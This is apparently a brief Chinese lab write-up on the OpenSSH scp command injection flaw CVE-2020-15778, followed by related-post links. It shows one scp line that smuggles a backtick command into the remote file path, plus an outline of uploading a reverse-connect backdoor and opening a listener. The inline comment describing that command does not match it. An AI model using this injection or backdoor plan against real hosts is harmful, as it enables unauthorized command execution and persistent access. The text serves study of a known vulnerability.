openssh 命令注入 (CVE-2020-15778)

描述:

OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。
OpenSSH的小于等于8.3p1版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。密码vulfocus:vulfocus

#意思是复制当前目录下的test.txt到目标的/tmp目录下,并且执行 touch /tmp/test.sh 的命令

scp / test.sh root@192.168.10.129:'`cat /tmp/test.sh`/tmp/test.sh'

没有使用小于8.3版本的openssh,只能进行文件上传和下载。也可以拿到后门

首先在本地编写好反联后门

Touch chengwenji.sh

Nano chengwenji.sh

使用scp进行上传

开启端口监听👂

这个条件比较苛刻,需要用户自己打开后门

相关推荐
yuxinaibiancheng17 天前
yunedit-ssh跟winscp对比有什么好处
ssh·sftp·scp
予枫的编程笔记21 天前
【Linux进阶篇】SSH密钥认证保姆级实操:告别密码登录,远程连接更安全高效
linux·ssh·scp·rsync·免密登录·ssh-keygen·密钥认证
晚风吹人醒.2 个月前
SSH远程管理及访问控制
linux·运维·ssh·scp·xshell·访问控制·远程管理
阿干tkl2 个月前
OpenSSL 和 OpenSSH 3.6.0 & 10.0p2 升级详细配置手册
openssh
A-刘晨阳5 个月前
【Linux】Centos 8 默认OpenSSH 升级OpenSSH9.8【升级其他OpenSSH版本通用】
linux·运维·centos·ssh·openssh·centos8
siriuuus5 个月前
Linux ssh/scp/sftp命令使用及免密登录配置
linux·ssh·sftp·scp
冲凉丶7 个月前
Linux中scp命令传输文件到服务器报错
linux·服务器·scp·传输文件
half-beast8 个月前
ganymed-ssh2连接openssh 8.2
java·ssh·openssh·ganymed
mpr0xy9 个月前
在离线 OpenEuler-22.03 服务器上升级 OpenSSH 的完整指南
运维·服务器·网络·openeuler·openssh
ScilogyHunter1 年前
OpenSSH详解:构建安全远程管理的核心技术
安全·openssh